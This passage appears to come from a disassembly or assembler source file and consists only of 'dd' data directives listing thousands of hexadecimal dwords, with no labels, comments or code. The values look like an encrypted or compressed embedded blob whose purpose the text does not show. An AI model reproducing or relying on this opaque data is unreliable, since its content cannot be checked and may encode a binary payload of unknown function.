0D1E51777h, 0FE9C3441h, 0EC45BAC1h, 7D3C1BFCh, 0A0667DE8h dd 0BEBC9FD1h, 54374168h, 184C6019h, 1C6B3F00h, 6F5DE9C5h dd 404E00E0h, 7FE18299h, 0B94CA513h, 29037584h, 2E8BCAFFh dd 4043C002h, 413D004Dh, 0ABA6EEF2h, 0D900FDB2h, 89958022h dd 902623Ah, 0D8F1A5B6h, 590E5C80h, 822CB3E2h, 836090C8h dd 1D867F7h, 628F41FBh, 0E16A5F57h, 0E3AFD9DCh, 0A2FC30F0h dd 36542Fh, 0C2E871B8h, 0E6D10535h, 339FF9h, 0E1D353B8h dd 0F8706D8Eh, 94EB59h, 7E33E7FCh, 574412Ch, 91D26884h dd 69C1C34Eh, 2C51FE8h, 20717600h, 9C2CEF43h, 16D001FEh dd 0D7B13247h, 2692014h, 0F00B7228h, 0B4823300h, 67088EF5h dd 4C690048h, 0AD274D0Ah, 142610A9h, 0A3805059h, 4A9F36FEh dd 870303F7h, 3B741A76h, 0D4A00F89h, 0D61DBF21h, 494041C5h dd 0A903EB70h, 8AA2EE5h, 0F4110080h, 0D26AB3B0h, 45696600h dd 0A8BBD391h, 0B22800A0h, 954F1682h, 8BFC3583h, 5EA9150Fh dd 424A0065h, 0B68492h, 0D57BC6E5h, 0E6EE2F98h, 16A9C90Ch dd 9CEB3E68h, 0CADC00A0h, 663318FBh, 0B49CC324h, 0CC5A5101h dd 90724FD0h, 920C6DC0h, 570514FCh, 1B3A46E3h, 0ED69D883h dd 629DC981h, 0B235CC4h, 2A08263Ch, 874B1084h, 0F0FF608Ch dd 2D16A30Dh, 3709B8D9h, 91680009h, 0C8F564h, 0B79A7DBEh dd 0C3BC3E4Ch, 0E18CF20Fh, 0CE0DE01Bh, 48867A43h, 0EA1388ADh dd 0D4B460D0h, 4F1E3AFBh, 3DC052E2h, 45FF35B7h, 48430370h dd 0F1A3BC2Fh, 2A00C87Bh, 3D8DF6CDh, 0B81C6D26h, 3C28B68Ah dd 5306E0C9h, 30EFAAD6h, 0C1AF9500h, 0BB4B868Eh, 0F01A61A7h dd 0F9A3DFE7h, 6DA4600Dh, 1183325h, 524F8674h, 2612CC24h dd 2818BD41h, 26CE0139h, 0A59EAE37h, 0EC7DF018h, 0DE06AB02h dd 906ADF34h, 13C78D9Ch, 6695FCh, 391382D8h, 4500E942h dd 14CBDAB2h, 9E5A2Dh, 0E3E8C201h, 7DC87B76h, 0CD216C00h dd 568843B3h, 0B17C0083h, 0F4548F47h, 9D009F37h, 96AC085Fh dd 0C8F0C4h, 10270641h, 0AE7A75C7h, 58176130h, 0B95B605h dd 6BB54A16h, 0B21A2300h, 0A1C1035h, 2840DF54h, 2217B829h dd 0E34D0368h, 0A3665AC0h, 3BA512A0h, 30D3881Dh, 0C9B8D600h dd 3896C42h, 0FDF2E74Bh, 1A80CF8Fh, 0B900D868h, 8254AEC5h dd 99A7Ah, 3DEC3997h, 0B290F5D3h, 2EC3FB38h, 2E0078C7h dd 6E1F3577h, 187504h, 6B6AD201h, 969E3F2h, 0F90C471Dh dd 3BE04880h, 0F0AF66h, 29C7CE03h, 0F24289F5h, 80859E3Fh dd 1E317816h, 40AFE4Eh, 3725698Fh, 51CA8B6h, 142BC3E7h dd 2ACDEC00h, 3DD3F078h, 0A809746h, 0BDBC6165h, 0DD2E2CC1h dd 0C30E848Bh, 0B62443A3h, 0B4BCAC31h, 0E661F00h, 3B1C5A81h dd 68285800h, 0F72361EEh, 40423AECh, 0E29E0D00h, 2CE65596h dd 970054E8h, 62A9235Dh, 0F074595Eh, 1424007Dh, 0C48704BEh dd 0F03B49C6h, 0BD1E8092h, 0A879071Dh, 7719003Bh, 9D35101Ch dd 0D802C493h, 0CD7A927Dh, 35458BDh, 72ADB10Bh, 22E054E4h dd 7D0036EBh, 0C04C8E39h, 61F094h, 732934E8h, 0C7DDADF1h dd 0D9F35600h, 91646EB2h, 36680388h, 933858EBh, 56FDB1D8h dd 0BEC1CC00h, 7D5E3387h, 20B00085h, 0B641F65Ah, 0FCE99C25h dd 750F2AD6h, 4003C51Eh, 450B0D4Fh, 35810195h, 7FC72DC4h dd 0E3E5306Ch, 167E9D04h, 0F8D01513h, 0AE8A23h, 0E53397F0h dd 7995CFE2h, 10DF7800h, 5EF4B41Fh, 0ECB00160h, 93D61BE9h dd 9DE0FE29h, 0DBEC4532h, 0D5E3C207h, 28B34ED3h, 31701748h dd 813D1CAAh, 34DA17DCh, 0C11D60CFh, 2D7ACD77h, 284CE000h dd 0A7746F4Dh, 24389515h, 570027CCh, 1347B4C0h, 9D8EAB05h dd 0B821C802h, 91C0CC51h, 0A0752h, 123F3BD0h, 7DFBCBA0h dd 0CCAF5F00h, 0AA78E043h, 0C695019Ch, 266E6D34h, 2477F4h dd 8602DAC2h, 937AA0h, 3DB190DFh, 4530646Ch, 5572B50Fh dd 3CE0724Ch, 89D200C2h, 1D961033h, 7E006A49h, 6301D11Ah dd 723816h, 9D583A6Eh, 2ECE62FBh, 0FDC7BC00h, 87B7F44Ah dd 22743B05h, 9050C0CBh, 2300AC66h, 0D7DD3F58h, 0EC854Bh dd 4061FC52h, 415EF8Bh, 4AF8C200h, 25640FAAh, 8C1E2885h dd 199703F9h, 7524D2E6h, 1BF2DED8h, 0E0D3CE00h, 0A71802D0h dd 0A3701DAFh, 4DB2C16Ah, 30CC03EFh, 593D21CCh, 0D36D800Eh dd 0C0B4C9D5h, 9AB100E7h, 4DD673CDh, 890C5906h, 98BB8229h dd 84A60039h, 4705A26Eh, 900CFCAh, 2E2AB7F0h, 0F549F68h dd 0BFCBEEBBh, 0A960FBEEh, 0C7BA6CFEh, 53F42100h, 20F9A728h dd 1FE1002Fh, 60455C0Ch, 8125EBDDh, 4AD00727h, 3701B8F0h dd 88AC013Ch, 70D27552h, 66109F3Eh, 0C74611C0h, 72D42BDEh dd 11B84C93h, 19815238h, 5538B988h, 20A8711Dh, 0A2009B34h dd 0A3D90186h, 7BD59Fh, 0C6021D0h, 97F4CE2Fh, 361B5300h dd 93E772FCh, 7EAF3852h, 0A06FB707h, 0F461B06Dh, 4100C030h dd 3F8F74CDh, 0EA387ABEh, 6693009Bh, 88A9C857h, 7E00E92Dh dd 8BB3AEBh, 0FA846E25h, 0E8701EA2h, 0FDBF8B37h, 0A54ACB8h dd 886B59h, 0E42AF8F6h, 3EA1E28h, 79A03220h, 0A5991A82h dd 8FD5EC96h, 40579500h, 51FF150Eh, 8359005Dh, 5C086C66h dd 90007725h, 89EB463Eh, 11D867h, 160B9D20h, 9EA779A8h dd 0AF2E9F00h, 0E33955C7h, 0CCF700DDh, 44E5F29Ch, 0CB009E3Ch dd 28C1CEB6h, 6E75AFh, 2E9C5337h, 830E762h, 80101839h dd 1575CA0h, 24BB503Dh, 28E9D0h, 0EA713A29h, 10EE436Bh dd 59203003h, 0B08DCE58h, 38FBEF0Dh, 0AE80EB65h, 17ED702Dh dd 80971BBEh, 0EE90EC90h, 0C68202D0h, 486AA624h, 28805562h dd 0AAB91797h, 0DA1CA97Bh, 7A00B0EAh, 9AA4D5C4h, 309729D3h dd 0A05700ACh, 14E44792h, 9AE5EE00h, 1B33A55Ch, 0CC1300D5h dd 8DDEBEC9h, 213A4695h, 160C8030h, 9C6C514Eh, 8E0D0049h dd 0BF8540ECh, 0D207D14Bh, 8693C7CAh, 0B0875A80h, 0EEDA0007h dd 2DE246F3h, 0DB00EC2Bh, 1425665Bh, 1E8DFBBh, 78CCBCEFh dd 0E27E2DD3h, 503BF087h, 0F8547707h, 0EF83AD00h, 0AB709DAAh dd 0E06CE010h, 16D0269Bh, 0E7780030h, 0DD88993Eh, 0A52DC601h dd 1CCA6D12h, 7F005C6Ch, 0A7B557C0h, 0E70020D0h, 0D32B6485h dd 2D444D8h, 1EF606AFh, 4DE0434Dh, 0D00B677h, 0C58594C9h dd 0CB633Fh, 6F3CD8DCh, 0EBEE6978h, 1F0038EAh, 0AA49B86h dd 9D2A62h, 3E4EFE66h, 8A9C1A75h, 410C3D00h, 0A4EE9B81h dd 67E813B6h, 71280007h, 79E5BC3Eh, 52278500h, 0F832DCC2h dd 1A7FAB9h, 8A8D7D86h, 0C4513EDBh, 737C540Ch, 73446252h dd 0E7EF4C03h, 0F056FC57h, 446647h, 5B025842h, 0CF1ECDFBh dd 680D5003h, 0E061E7E6h, 0B062FABDh, 8C7394h, 0D3B1AA9h dd 0F00456AAh, 8546E600h, 0FAFEE579h, 0CA6607BAh, 103C43E2h dd 0D6F923B9h, 5F212D00h, 8C4B7398h, 33E9003Dh, 8A9B64B3h dd 0B90009BAh, 0E02B0FDh, 6960DFh, 899C61ADh, 0E544E082h dd 8ACB5500h, 8353B6F5h, 0D57205h, 13FD8BA2h, 4B66BC41h dd 94B73400h, 5E91654Ch, 13EF201h, 64145685h, 0D0B2A7DAh dd 8E008BE2h, 0F0CEF262h, 0EC48B488h, 616C00B0h, 3F6EDB4Dh dd 6F5A2BBDh, 68E8A8F1h, 5E90026h, 0D851B2EAh, 879F41E3h dd 0F090EFFDh, 3E920F65h, 0B3A449D6h, 0FF8D0ED0h, 42EED866h dd 943A7403h, 90EC6038h, 4A596Eh, 1EFDDBF1h, 0C037094Fh dd 0DC451400h, 9BD2E286h dd 4CF4000Fh, 117604Dh, 3200B2B8h, 0C91E109Fh, 2E69ED90h dd 20D4BD39h, 9E01908h, 0F89820AEh, 5A388B3Dh, 0A0319D84h dd 4BBB4740h, 921A8F3h, 65094101h, 87CD7780h, 9EF81359h dd 0E400157Dh, 0A931F546h, 8A2EB9h, 10473567h, 0C4F2B23Dh dd 0C50206F6h, 8ED49E3Ah, 0D21B619Ah, 97E1C4h, 186E7CC3h dd 0FA6B3D37h, 260D4B01h, 7F8FE94Ah, 0B3A9C06Fh, 3201AF88h dd 791434D9h, 9840B513h, 0C08F89A8h, 4B362B51h, 1774FB51h dd 0CB8EA8C4h, 0F00098E8h, 77D49175h, 0DF07106Fh, 6D5FD725h dd 18E90330h, 30FE0032h, 8FABF0E2h, 0D6077758h, 2A98AEF2h dd 6747CDE0h, 0AC8A0012h, 8C4F0472h, 0E61E59B7h, 0FC55E2h dd 0C2837DCBh, 308CFh, 9348A140h, 9933178Dh, 0EB24F000h dd 4906F8B7h, 0C0F400B5h, 63C3206Ah, 0BC005B96h, 3D241DD7h dd 0F401AC1h, 3944E9C5h, 0F98B92E0h, 2006B75h, 810FE87Dh dd 3E45FD42h, 543D7173h, 0CFEB1F00h, 3BABDA1h, 9DED2600h dd 972DD978h, 0D25D00C7h, 492A5AF2h, 0A50323A1h, 84C15F1Ch dd 8D6AF9DFh, 17128081h, 40CA164Dh, 90B3B798h, 6AF56216h dd 3CA0B0h, 0A30BA9BAh, 60157AE8h, 0D809A678h, 82DB8861h dd 40957F86h, 10BF72Ch, 0A53ADC2h, 0F1FFE663h, 0E7FCF8B7h dd 0E0EF5B00h, 9325418Eh, 0D86C0076h, 92CE490Ah, 0EE0047ADh dd 0FA260FF8h, 0B8989Ah, 235238F0h, 6981652Bh, 1CE72200h dd 0D4CAAA0Fh, 0F5C10313h, 60A2A6B8h, 40BFC0CCh, 9B035CB5h dd 0E30AFB98h, 0C0AECBh, 7706B31Dh, 0A4A68795h, 18F6D530h dd 3BBCF91Eh, 539215B6h, 2E64803Bh, 606493B5h, 588834A0h dd 0FB651EF3h, 339742AEh, 2C8194DEh, 2867A1Bh, 828EBB1h dd 1621C458h, 0B5630704h, 0A534D550h, 1E2C8358h, 0AF615972h dd 0AD3BCEB8h, 8E2B2C40h, 0A0DD80B8h, 0BCD858A0h, 1B0C0389h dd 0C659BA61h, 0CF126F88h, 844CB711h, 722904DBh, 3039A4A9h dd 48CF2FCh, 0E24F5385h, 20D347B3h, 80D22008h, 4081CF58h dd 0F0D0935Ah, 9AC909FCh, 1EE4502Dh, 9D5481A3h, 0CD08C051h dd 2F208025h, 3DAC493Dh, 12985071h, 9CBC9300h, 0E385FFC5h dd 56CA163Ah, 8258C001h, 0EB000F4Ah, 0F1D445F3h, 1C89B5Fh dd 3A774EEh, 20C4F5AFh, 9A0B176Bh, 0FED2CCh, 0C30FD695h dd 0F83F6064h, 395D97AAh, 6DABF100h, 4E0C83EEh, 3A52010Bh dd 6126A7CFh, 5732F4CBh, 0BDD290A8h, 135B200h, 716B3A08h dd 6F7418D0h, 2AB12114h, 6C5DB301h, 0FEA37296h, 0A114C80h dd 0F925FFBh, 0CAD19F60h, 60296DA7h, 22B2386Eh, 110E2B3Fh dd 0C0B5DBF2h, 948F0E15h, 0C098C4h, 86D7D5B2h, 0D2BAF38Eh dd 0A2C0566Fh, 87BE18DFh, 2D5269F8h, 604040FCh, 3B14901Dh dd 41650ECEh, 82FCE05Ah, 0F40D7500h, 0CD4D2DADh, 0AF211842h dd 9213C1A0h, 944FBF24h, 9420AC83h, 0E41E44C2h, 0A7CC0AB2h dd 805C3699h, 0F38AA37Bh, 94238EFBh, 33C1801Bh, 0AF4D992Bh dd 0CB2081C1h, 0BC400784h, 4897ECF8h, 0AF3E3C49h, 188FFC50h dd 715AD4B4h, 14004182h, 1A0FD994h, 0E079F48Ch, 0E8F7305Fh dd 0CE591321h, 21906B00h, 52AD9CEBh, 747A493Bh, 0BEA35A1Eh dd 1D45D383h, 54A1517Bh, 0D6E08214h, 42967F03h, 0E3C80EC4h dd 9D9259h, 0A6484510h, 136C75B0h, 0DEF49B00h, 658CFA25h dd 228701F9h, 88640EA1h, 0D86221ECh, 0DD00193Bh, 55B28596h dd 0CEA575h, 74A74EBCh, 78E41601h, 9369351Fh, 5D535E00h dd 3E4AD297h, 0FA8E149Fh, 3037E23h, 0F69341D9h, 0EBED96F0h dd 8CE7DD1Eh, 136D36C0h, 3A93F2h, 78045C7Fh, 5D2057D7h dd 0D80D0DEh, 0E198E660h, 4662139Ch, 0F8D20771h, 8078A4EFh dd 0CC3A59A5h, 43A5BB00h, 64CD9DA1h, 27220355h, 6954B6CEh dd 5DE37A80h, 5B77151Fh, 2D57B00h, 96B42h, 0CB416E2h, 560D33F7h dd 0E80058F4h, 0C2110418h, 62DE09h, 658A7FADh, 0B5D130A7h dd 0E9FBAC00h, 4316948h, 0E8430FCDh, 24600DDDh, 0AC08D9B8h dd 0EE461503h, 0D94D1378h, 7CE4DC2Dh, 7A1E0043h, 5FD37F61h dd 7601E2A6h, 7B4B24B7h, 2DD025EFh, 40F0D0h, 5710C515h dd 8AA8D9BFh, 6E32E31Ch, 9E303FC0h, 7D824BD5h, 282B0B26h dd 0CB00E9F1h, 37EDA069h, 316CC300h, 0E3562151h, 82AD031Eh dd 0DE953D06h, 0AA235018h, 1DFA8A8h, 317F9C7Ah, 6044D33Eh dd 0ED0F56C8h, 5F830541h, 4F6FE383h, 23D4D88Fh, 1CA00C7h dd 0C145ED75h, 90039D2h, 0ECAAE41Ch, 0B3CB4ACh, 560AFF9Bh dd 66E48075h, 6DA7A2D3h, 0F0B67025h, 131C8428h, 2F00CD7Dh dd 5DA827E0h, 79F10001h, 0AD8F8AC2h, 72123B55h, 29FCFEE7h dd 1C893C00h, 0DFDBCD7Eh, 30A6A800h, 0B2CE79FCh, 40580159h dd 3FF0F766h, 5D8B4011h, 0C200F488h, 0AC590EFh, 168B4C4h dd 220B93CAh, 0C8E50F43h, 100DC49h, 3602C1CBh, 0AF25F77h dd 4C05A79Fh, 0E63A86BCh, 0C80750D8h, 50ACD57Ah, 54DF8150h dd 982C0059h, 0DC31762Fh, 74ECC03Dh, 68C6B400h, 63DEEDDBh dd 26DD1D42h, 203CA081h, 447D8061h, 4B49414Eh, 1F0500A4h dd 51366438h, 68000AB6h, 2DBF33B5h, 0C05E20A2h, 9480838h dd 0EE137E8Ch, 0F5075043h, 228017B6h, 3020382Fh, 77B0B18Eh dd 0AE3C4A51h, 4BB48007h, 289DB509h, 5DF8A82Fh, 273D0764h dd 0F04F36B7h, 5494089Fh, 0F34CBFF8h, 0D9B84F53h, 9DD0A05Bh dd 7A1E84E8h, 4170D556h, 50F5179h, 0D078728Dh, 0F1D800E7h dd 0B844AD50h, 8700CE7Fh, 64EAD501h, 0C11C7CBh, 71671778h dd 7A003230h, 7E273B02h, 0F42390h, 0A89D54C7h, 6939B43Dh dd 0A2800503h, 0E045565Fh, 3C6C9Eh, 8D927B10h, 0C50CE6CCh dd 42D7011Fh, 0D2C8E000h, 90B4F032h, 0C0D001F9h, 62FE266Fh dd 70BCD6h, 0B49D5E39h, 0FB048Bh, 66CBAC77h, 0F9155823h dd 738EE7Bh, 0A4A3036Eh, 86B60B49h, 0ADEC0149h, 4D780CD7h dd 0F2FFE0CBh, 68369E00h, 0F1823965h, 171EA51h, 9BAAB522h dd 40E6CB62h, 0DF93A110h, 4544D800h, 597C6B2Fh, 827B0087h dd 0EF2CF192h, 39181504h, 0CD0890E0h, 62110089h, 0E4FA81B5h dd 180DDD21h, 20EFA495h, 0DC03BE0h, 73430AC9h, 0D01C074Eh dd 9EB31FC8h, 3B105600h, 93EE73EAh, 16E60A7Ah, 0B9F8A8h dd 97D183F2h, 510070C7h, 1EAB9B0h, 3FDDC73h, 0A740DD5Dh dd 27B0A179h, 5507839Fh, 69E17E72h, 0AFB134h, 0D8509070h dd 8500F9DBh, 0DA657432h, 30BEA48Ch, 7DB87173h, 0F8001804h dd 4BE9FF2Dh, 40082Fh, 805E748Ah, 75DE7A71h, 0C9223C00h dd 0E7B31ECh, 0D3D701EBh, 0FACF6B4Ch, 0B302CCE0h, 2976603Ch dd 5C046Ah, 4A703CE1h, 0F3495E67h, 75005DB0h, 89E63D1Dh dd 105735Bh, 0EAE27CEEh, 602C0C27h, 0A003528h, 0D1417297h dd 162E89E5h, 1E3BCD64h, 721132Dh, 0F07DD40Fh, 8A3CECF7h dd 0DE09300h, 0A8393533h, 776E0074h, 0AA28AF9Dh, 430FAECAh dd 2053E2ADh, 18E99E8Fh, 45E7288h, 0F54BEF1Bh, 771CFBE1h dd 2C008BD6h, 0A3417136h, 0B6460040h, 659A4F6Dh, 0CF017B28h dd 30132A33h, 0B1E06779h, 51CB00E9h, 0F08FCAA8h, 0A50092F8h dd 0D61C8D2Ch, 45086Eh, 0D4B9CB6Dh, 0F981CD89h, 0C96BFC07h dd 22809E1Ch, 320130DDh, 0FFE6E041h, 69152C0h, 2A53E800h dd 21EA6759h, 6AEF004Ch, 16987E55h, 0AFC1045h, 0CA410300h dd 0B9488584h, 4C7B0024h, 0AEDC1F67h, 0CD0596F7h, 0F869D608h dd 76CC8C0h dd 19880041h, 70AD4F06h, 0FE003EB3h, 0F92A5BB7h, 137A5008h dd 0F010D6D1h, 0DE049191h, 73DD5CE8h, 2AB4A7C0h, 48B7040Fh dd 0C0E4526Dh, 5FEA26A2h, 54000A7Dh, 55395AFDh, 6B984Bh dd 9B246CA4h, 0D54DFE43h, 750751F2h, 98E1DFD3h, 32809690h dd 9C66003Ah, 0ACBA7C0h, 1002F8Eh, 91E406D6h, 6E533Bh dd 74888A5Ah, 387AB5AAh, 0D8BB792Fh, 2B021621h, 0AFFC0060h dd 0C8EBC62Ch, 40841C24h, 8F03D100h, 0F6D5E8h, 40C39B47h dd 3A1DD90Eh, 0EE488200h, 0B5DBE477h, 508E07FEh, 70A39A05h dd 24D98179h, 0A6B1F701h, 5E174A26h, 2230EB47h, 9E7030h dd 401F698Ch, 94C4D664h, 5300D077h, 6665CD7Ah, 4C045D85h dd 1403753Dh, 15374736h, 3007E5F1h, 6B0088B2h, 402CA9BDh dd 132797h, 1C53EBC8h, 69C6D0D7h, 0C2572005h, 0B280E9E1h dd 0FAEEBC3Bh, 0F2C00C5h, 0EA0AE41Fh, 0A3007612h, 249F9039h dd 0B036A4B0h, 0BE940080h, 4DAA06EBh, 0A000CF1Fh, 67B942BAh dd 2EA385h, 0EAEC90A8h, 8E114692h, 71E25A00h, 0CD68AD26h dd 32F903D7h, 66F802DDh, 1A7590C0h, 7CA28200h, 0DC914EBh dd 8B4012Eh, 0AF9A0F05h, 0EF1C30CFh, 0F6421004h, 29C064E9h dd 3E79B439h, 498084E4h, 9E0E889Fh, 477F78FFh, 505B5701h dd 0E0F6C24Dh, 28583BD0h, 0B314A8h, 623927C9h, 0F98D6A7Ah dd 0CD971900h, 8B7D1ECCh, 0A1BE029Fh, 4671FF72h, 0ED29A9E0h dd 67584400h, 0CCBBF5FCh, 6D04006Ah, 0B6523B87h, 8800DD54h dd 4A7FC1D1h, 789F63BDh, 0E3AE1D29h, 96C04012h, 7D29E25h dd 0C600167Ch, 6A5645ACh, 65A198h, 34CFE28Eh, 0C5F1279Ch dd 2D3C1F0Fh, 51A90087h, 7E14994h, 36D3A854h, 0B763F08Fh dd 0DF004A77h, 1FF5922h, 76AD252h, 0E437DDB5h, 0E04DB795h dd 0EAB6DBF0h, 0CB577D00h, 0E56E1934h, 0BDC104BCh, 0C0D32B0Ah dd 1C84D518h, 370045E2h, 0AC2EE1BBh, 9A34634h, 9DA56C7h dd 50FA9502h, 1B9123E0h, 0DC6A2700h, 30451278h, 0F83300CDh dd 9A4055Ah, 0EA2C03BEh, 0BC00A383h, 9D861970h, 0CC231220h dd 2B9020DCh, 0C200F9FDh, 53DDB033h, 1F93C76Dh, 0C1CD65F6h dd 8606B661h, 6F9CE0ABh, 0CBB27000h, 5FE1B0FEh, 343C00F9h dd 0EF4DE8F6h, 70001CBBh, 3727D8Bh, 9F77ECh, 6CB77C6Ah dd 0A2F4D769h, 66D62900h, 0C0545BAh, 0B0031FD2h, 404FD830h dd 0F7091D0Ah, 0AC0236F5h, 0E80859D4h, 6F092h, 866F0F88h dd 0B7E63325h, 63C921C0h, 5F8CF9h, 6E9E26FEh, 0F7C75D79h dd 3E7931Ch, 5100AEA8h, 0F08884A1h, 70C50CFh, 0FD24BD9h dd 2825B253h, 0EE64A840h, 284E0630h, 18FCB5ECh, 10AE9277h dd 350A8C3Bh, 0B5225F28h, 78002716h, 9FF70207h, 0C9F826CAh dd 0D9131Fh, 95C4361Ch, 43022A28h, 0EBD42DD0h, 962C4037h dd 75A3000Dh, 0E545015Bh, 0D2005A94h, 7EE02DFAh, 0B510F3h dd 4A68D7D1h, 0F68F8DC6h, 57CA3700h, 8847EC34h, 481D4DC8h dd 23772B0Ch, 7800DB70h, 91F07371h, 186286h, 0EF8D9941h dd 1589DDF2h, 18022B26h, 92060E00h, 126D7E0h, 0B50D9FFDh dd 0FC3C08ABh, 0BB3AD947h, 0F1700003h, 4E854504h, 0D166005Dh dd 0FBA1DBC9h, 0A43D6505h, 698200DDh, 6B01B030h, 67C60037h dd 0C3D5863h, 7E244FA4h, 813F9397h, 2C2932AAh, 6BF80285h dd 0BF83174Bh, 1F48005Eh, 11388ED2h, 17428800h, 0ECD97068h dd 5AF39BBh, 2AF1EF85h, 2094C71Dh, 0D6E752F9h, 5F4CC703h dd 0C3BD645Ah, 0FF9798C0h, 0E36E0560h, 807B3C98h, 41B32084h dd 8006C7Dh, 0F093C0F4h, 0F0FFB4Ah, 0E6298431h, 0F9175D23h dd 47C16AA8h, 2DD9AA00h, 0A3B4B7ABh, 6CB868h, 49F3D169h dd 8E707667h, 164ABE0Eh, 4B35609Ah, 1F66B0h, 139665CCh dd 5AA624AAh, 82F00C73h, 0C9E90900h, 0A7D21829h, 3A90063h dd 6B786231h, 92007467h, 0B2EA1C88h, 0FEA4F7FBh, 9C6928EBh dd 0F8CAF49Dh, 7F350091h, 0AB572E95h, 1A487C88h, 25BD0EA8h dd 0C0005762h, 716DB409h, 74800052h, 83A11C19h, 821F4D38h dd 8F445CB0h, 0AE805AFEh, 423ACh, 0DD0ECA95h, 5278477h dd 0B0B25E01h, 4A0A299Dh, 2686F8h, 0D1BE55A5h, 7944D7F9h dd 63735300h, 9AFEDDC1h, 421426A9h, 1C026F6h, 0C2BD134Ch dd 0B0829E6h, 8022D4CBh, 0A0AB2C64h, 953B0075h, 0E186F055h dd 0D0080D5h, 88E0C030h, 42D07Eh, 7A8A6DE3h, 63CDAAABh dd 74B5FD00h, 7B5E975Ch, 46AD0E24h, 0B7A5BDC5h, 2D608056h dd 6200B2F2h, 8C5FCA73h, 0F2D76AC3h, 0F918013Fh, 14DC0F33h dd 54E1305Dh, 6675E700h, 0FA173702h, 0A2BA1C90h, 0C50DC0B7h dd 0D0277035h, 1139B39h, 792B0119h, 20D8CFDAh, 91FD00A7h dd 0B9EC9CF6h, 9400D2BEh, 23A4B1C2h, 99D3F3h, 2F137FE0h dd 0EC6E6988h, 8863200h, 76EB54A6h, 9F8900A5h, 0B9E1FA4Eh dd 9B00E5BAh, 3923AA0Dh, 14A852B1h, 0D07C06BDh, 0F4B6D500h dd 414D7294h, 8F8C500Ah, 0D49FA0A9h, 15B81BC0h, 3F7A44E8h dd 570E6442h, 68007FFh, 0D56DF3BDh, 0E8857601h, 4CC6DE34h dd 9893C0F2h, 52602602h, 69C50098h, 0FEDBF780h, 4FD23D00h dd 0E1A535BAh, 1F19FEDEh, 0E1C57DAh, 0A0212938h, 0D8FB1259h dd 0F0A0244Fh, 55581328h, 0CAE20040h, 0F6540C8Ah, 778B002Ah dd 4B1FEF2Bh, 4500685Bh, 533D8143h, 5A3EB32h, 2AC407EAh dd 0C6788197h, 0C09D20B0h, 4D755C00h, 0DEDFA788h, 1762FE25h dd 1707F5h, 4171AEDFh, 0E40083B4h, 0F9BBE292h, 7E8BABh dd 0BC942FC8h, 0E0586651h, 81197139h, 2B4090D9h, 0F0405346h dd 0F3AD5FDBh, 32A5D8C3h, 730100CAh, 313FE98Ch, 350FB560h dd 607F57C7h, 0FB45B402h, 11D90FF4h, 407ED652h, 765FC164h dd 0C4488A9Dh, 0C8C90470h, 5B81B137h, 0F1CC3017h, 4E56009Eh dd 88F7D8BBh, 0DC06341Eh, 42946AC6h, 901004C0h, 8016F3DEh dd 81F8D48Bh, 1084701h, 0C968856Fh, 5BEE1F0h, 19434021h dd 80BA84CEh, 340BC7BBh, 0DE44171Eh, 756336C0h, 161A335h dd 0EABFFD9Ch, 34A19E27h, 4909AF58h, 80E95851h, 0E87B5C9Ch dd 110E6B0h, 6920CC31h, 2056AC15h, 55090195h, 0A0DF6D9Eh dd 99C69F98h, 335C0E4Bh, 6E0089C7h, 7A88395Bh, 70826300h dd 27D5A3CBh, 343B877h, 0CF058376h, 56E022A9h, 90A060CEh dd 0D400F7DFh, 8D21B67h, 0A93D5Eh, 0CA69D5A5h, 74ABB3B1h dd 0A652300h, 2590AEFAh, 0A2F8E5h, 0FF45EA63h, 0D7894854h dd 0E9067DE8h, 5714A47Fh, 2D7788h, 0AA86B93Ah, 0C9CAD7F5h dd 16BCA650h, 205052h, 6C5EDA21h, 79CA3DB7h, 3ACC00C2h dd 0B3340206h, 890379C3h, 0EC1F8D87h, 42CDD85Bh, 524B0058h dd 0A42DD681h, 3D00B2FFh, 0D295CBC8h, 26DFF1h, 6434219h dd 119B5CD3h, 0D124EA00h, 0BDF22A92h, 0CD9E1ECBh, 0BA9780FBh dd 75B2F53Ah, 0ACFCEE5Ah, 0E8DB2A01h, 0DCC78A54h, 0AD48D2B7h dd 0D000723Ah, 0BAF50A61h, 1A605Ch, 4CEA5BF2h, 26F96771h dd 7831E900h, 7588AF36h, 0D9CA3A60h, 0C5B0A24h, 0BD46BBE4h dd 9D5B0B00h, 0E2CC28CDh, 0AE18000Ch, 59140A06h, 9C0004D9h dd 0FF358356h, 39EB517h, 939AB339h, 44E86806h, 3F00AA5Eh dd 3B237EAFh, 7F6382h, 0B8CA87BCh, 0E1157013h, 9D965D16h dd 0DF002E1Fh, 8243FDD2h, 3D781F74h, 79198ED9h, 27548641h dd 3E9C7099h, 7849E900h, 0F34495ADh, 0FAEFF430h, 0BB201760h dd 0E764003Fh, 1F01A723h dd 0D21D1800h, 0D0B670A9h, 0D7B31F6Ah, 0CD9C822Ch, 0E9407A4Fh dd 0A858F141h, 791960E7h, 0F4F24E7Bh, 0F59A0028h, 9B5814C6h dd 0B107E1B9h, 29CBCD3Fh, 0BF06F950h, 0EA620308h, 7F481BE5h dd 0D8BCADF1h, 0B3F4E1B2h, 5F82E300h, 0EE091645h, 7FC01C42h dd 2A51E0Ch, 44C76861h, 0B931A880h, 0AF015CA6h, 4AFE5F26h dd 64CCC457h, 4E980051h, 591D093Dh, 101CD9D5h, 0E180187Bh dd 3217F2F6h, 2180A0C9h, 0F7AB01BBh, 0B50B0414h, 5FB02B39h dd 3CC47D74h, 0B8070724h, 0AFBE5718h, 3A70EDA0h, 0F800F591h dd 0E5D9D601h, 0D5E17h, 56773041h, 4A882CCh, 9576E0Fh dd 0DEB02319h, 96BE907Ah, 2EF50045h, 48E65DDFh, 0AE02623Ah dd 740EA4B6h, 0EB70E04Ah, 78167DBAh, 0D6D0092h, 0B06975ACh dd 0F800723Bh, 1A03767Ah, 3BE9C54h, 7926FEC9h, 998028EDh dd 227D9ED8h, 95B8B03h, 0B0A6B6DCh, 0C59DA4h, 0D189AA49h dd 0BCC7BE59h, 0CD932500h, 12283826h, 77910029h, 0B15E303Dh dd 100F2FEh, 6255F3ADh, 57ED74h, 4875053Bh, 7EFE0DE4h dd 2ABC0A07h, 0A87028D1h, 817C9Eh, 0E9A4836Fh, 9AD95101h dd 4E918E00h, 603CD6B3h, 0C26700E7h, 7A8C183Bh, 8500639Fh dd 5944C174h, 213908h, 4573ED54h, 0C02A7A29h, 78BAD601h dd 5E85429Dh, 189BBE40h, 0CCB00B1Eh, 118E8DECh, 0E81CC0C0h dd 6C090C7Ah, 8173217Ch, 0DA8775F6h, 3A3D170h, 0A8029FE9h dd 0C5B84A3Ah, 5C003EC7h, 92E6476Ch, 0C2B7D8h, 0AFA9017Fh dd 0E5D1CEAh, 0EED59F00h, 9264711Fh, 85E10038h, 